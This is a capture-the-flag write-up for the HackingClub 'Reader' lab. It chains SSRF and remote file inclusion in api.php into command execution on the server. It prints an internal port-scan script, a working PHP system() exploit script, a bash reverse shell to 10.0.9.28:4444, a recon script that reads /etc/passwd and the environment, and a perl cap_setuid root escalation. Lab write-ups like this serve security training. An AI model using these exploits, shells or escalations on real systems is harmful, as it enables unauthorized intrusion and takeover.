[Write-Up] HackingClub: Reader
Table of Contents
Recon #
Nmap #
┌──(kali㉿kali)-[~]
└─$ nmap -sV reader.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-31 23:09 -0400
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 23:10 (0:00:00 remaining)
Stats: 0:01:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 23:10 (0:00:00 remaining)
Nmap scan report for reader.hc
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.66 seconds
We’ve found two services running that are exposed to everyone on the network, first an SSH service and second a HTTP service, both running on default ports. We’ve also enumerated the versions for these services.
Enumeration #
Having found a web service running, we start by looking into it. Just by manual crawling we can find a very interesting endpoint: http://reader.hc/api.php. But for sanity, while we play with this endpoint, we ran a fuzzing enumeration on this web server.
Fuzzing HTTP #
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://reader.hc/FUZZ -w /usr/share/wordlists/dirb/big.txt -e php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://reader.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Extensions : php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htpasswdphp [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 437ms]
.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 438ms]
.htaccess [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 4673ms]
.htaccessphp [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 4672ms]
logfiles [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 173ms]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 163ms]
:: Progress: [40938/40938] :: Job [1/1] :: 255 req/sec :: Duration: [0:02:51] :: Errors: 0 ::
Relevant finds:
- logfiles
- server-status
Manual Exploring api.php #
Simple HTTP GET request to api.php:
┌──(kali㉿kali)-[~]
└─$ curl http://reader.hc/api.php
{"status":false,"msg":"Only POST requests are accepted"}
So, first thing we find out from this endpoints is that it’s a POST endpoint. A simple POST request to it:
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://reader.hc/api.php
{"status":false,"msg":"Missing url parameter"}
Now, we see that we’re missing a url parameter. Let’s try adding this parameter:
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://reader.hc/api.php -d 'url=helloworld'
{"status":false,"msg":"Could not resolve host"}
Now the error message says could not resolve host. Let’s spin up a simple Python3 web server and try to connect to it:
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://reader.hc/api.php -d 'url=http://10.0.9.28:8000'
{"status":true,"output":"output-862044.txt"}
Vulnerabilities #
RFI/LFI in api.php #
We notice that it produced some output, we check out /logfiles that was found on HTTP fuzzing and we can see our file as output. Since it allows connecting to any host, this CTF machine has a LFI Local File Injection and a RFI remote file injection vulnerability.
We notice that when the API can successfully reach a host it’s response is a JSON where status is set to true and output is the name of the file where the contents of the response are saved on the folder logfiles/ that we’ve found on enumeration.
Internal Port Scan #
One thing we can perform with that feature from api.php is to perform kind of port scan on the localhost. We can send request to popular ports and if another server if available that is accessible through local host only, we’ll be able to send requests to it.
We can use a script such as below to scan for common HTTP ports:
import requests
host = "http://reader.hc"
endpoint = "/api.php"
common_ports = [3000, 4200, 5000, 5173, 8000, 8080, 8081, 8090, 8443, 8888, 9000]
url = host + endpoint
open_ports = []
for port in common_ports:
data = {
'url': f'http://localhost:{port}'
}
print(f"[+] Testing connection to port {port}")
r = requests.post(url, data=data)
status = r.json()['status']
if status:
open_ports.append(port)
if open_ports:
print('[+] Open ports found')
print(open_ports)
Results of our port scan:
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 port-scan.py
[+] Testing connection to port 3000
[+] Testing connection to port 4200
[+] Testing connection to port 5000
[+] Testing connection to port 5173
[+] Testing connection to port 8000
[+] Testing connection to port 8080
[+] Testing connection to port 8081
[+] Testing connection to port 8090
[+] Testing connection to port 8443
[+] Testing connection to port 8888
[+] Testing connection to port 9000
[+] Open ports found
[8080]
The reader.php api #
When we reach out to localhost:8080 we find out that there exists another server running. We then explore that server using a helper script:
import requests
import sys
host = "http://reader.hc"
endpoint = "/api.php"
page_to_fetch = sys.argv[1]
data = {
'url': f'{page_to_fetch}'
}
url = host + endpoint
r = requests.post(url, data=data)
if r.status_code == 200:
if r.json()['status'] == True:
print(r.json()['output'])
r = requests.get(host+'/logfiles/'+r.json()['output'])
print(r.content)
Request history #
Below the request history exploring that server and endpoint. Request 1:
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 get-page.py http://localhost:8080
output-948608.txt
b'Welcome to the local server\nread.php\n'
Request 2:
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 get-page.py http://localhost:8080/read.php
output-260096.txt
b"Error to read file, parameter 'file' not found."
Request 3:
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 get-page.py http://localhost:8080/read.php?file=http://10.0.9.28:8000
output-497536.txt
b'<!DOCTYPE HTML>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Directory listing for /</title>\n</head>\n<body>\n<h1>Directory listing for /</h1>\n<hr>\n<ul>\n<li><a href=".get-page.py.swp">.get-page.py.swp</a></li>\n<li><a href="get-page.py">get-page.py</a></li>\n<li><a href="poc-nc.php">poc-nc.php</a></li>\n<li><a href="poc-whoami.php">poc-whoami.php</a></li>\n<li><a href="poc.php">poc.php</a></li>\n<li><a href="poc1.php">poc1.php</a></li>\n<li><a href="poc2.php">poc2.php</a></li>\n<li><a href="port-scan.py">port-scan.py</a></li>\n</ul>\n<hr>\n</body>\n</html>\n'
Request 4:
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 get-page.py http://localhost:8080/read.php?file=http://10.0.9.28:8000/poc.php
output-388097.txt
b'Hello World\n'
Exploitation #
With that, we find that we can perform a Remote File Injection but differently from the /api.php endpoint, that endpoint runs PHP file, as we can notice with Request 4.
From that we can create a script that enable us to run arbitrary commands on the server.
import requests
from urllib.parse import quote, quote_plus
import os
import tempfile
import sys
import time
cmd = sys.argv[1]
with tempfile.NamedTemporaryFile(
mode='w+t',
suffix='.php',
dir='/home/kali/Machines/HC-Reader',
delete=True) as temp_file:
host = "http://reader.hc"
endpoint = "/api.php"
page_to_fetch = f"http://localhost:8080/read.php?file=http://10.0.9.28:8000/{os.path.basename(temp_file.name)}"
data = {
'url': f'{page_to_fetch}'
}
url = host + endpoint
temp_file.write(f'<?php system("{cmd}"); ?>')
temp_file.flush() # Ensure data is written to disk
print(f"Temporary file created at: {temp_file.name}")
print(f"URL requested {url}")
print(f"Page to fetch data: {page_to_fetch}")
r = requests.post(url, data=data)
if r.status_code == 200:
if r.json()['status'] == True:
print(r.json()['output'])
r = requests.get(host+'/logfiles/'+r.json()['output'])
print(r.content)
With that, we can just by using commands get the first flag (attention, we must run a web server to enable the temporary file to be created and accessed on the target machine):
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 cmd.py 'pwd'
Temporary file created at: /home/kali/Machines/HC-Reader/tmpqx0rbkiu.php
URL requested http://reader.hc/api.php
Page to fetch data: http://localhost:8080/read.php?file=http://10.0.9.28:8000/tmpqx0rbkiu.php
output-868815.txt
b'/home/webmaster/internal\n'
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 cmd.py 'ls'
Temporary file created at: /home/kali/Machines/HC-Reader/tmpjwb0dp9w.php
URL requested http://reader.hc/api.php
Page to fetch data: http://localhost:8080/read.php?file=http://10.0.9.28:8000/tmpjwb0dp9w.php
output-897278.txt
b'index.php\nread.php\n'
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 cmd.py 'ls ..'
Temporary file created at: /home/kali/Machines/HC-Reader/tmp7oqllyia.php
URL requested http://reader.hc/api.php
Page to fetch data: http://localhost:8080/read.php?file=http://10.0.9.28:8000/tmp7oqllyia.php
output-991557.txt
b'internal\nuser.txt\n'
┌──(kali㉿kali)-[~/Machines/HC-Reader]
└─$ python3 cmd.py 'cat ../user.txt'
Temporary file created at: /home/kali/Machines/HC-Reader/tmp7eegxz26.php
URL requested http://reader.hc/api.php
Page to fetch data: http://localhost:8080/read.php?file=http://10.0.9.28:8000/tmp7eegxz26.php
output-550701.txt
b'hackingclub{REDACTED}\n'
Using that same exploit we can get a reverse shell
python3 cmd.py "/bin/bash -c 'bash -i &> /dev/tcp/10.0.9.28/4444 0>&1'"
Privilege Escalation #
We perform the reverse shell shown previously, we improve the shell stability using the Python method.
We run basic recon:
echo "[+] Current user: $(whoami)"
echo " User id: $(id)"
echo " User groups: $(groups)"
echo -e "[+] User history:\n$(history)"
echo -e "[+] Login users:\n$(cat /etc/passwd | grep -vE 'nologin|/bin/false' | cut -d':' -f1)"
#echo "[+] Sudo permissions: $(sudo -l)"
echo ""
echo "=== SYSTEM INFORMATION ==="
echo "[+] Hostname: $(hostname -I)"
echo "[+] Kernel Version: $(cat /proc/version)"
echo "[+] Linux Distro: $(cat /etc/issue)"
echo "---------"
echo "=== MACHINE STATE ==="
echo "[+] Running proccess"
#ps aux
echo "[+] Environment variables"
env
echo "[+] Bash sensitive files"
find / -name .bash* 2>/dev/null
echo "[+] 0777 files"
find / -type f -perm 0777 2>/dev/null
echo "[+] SUID files"
find / -perm u=s -type f 3>/dev/null
echo "[+] Files changed recently"
find / -cmin 60 2>/dev/null
echo "[+] Files with capabilities"
getcap -r / 2>/dev/null
On getcap we find out that perl has capabilities set for setuid, which enables us to escape that binary as root:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
Then we can get last flag:
cat root.txt
hackingclub{REDACTED}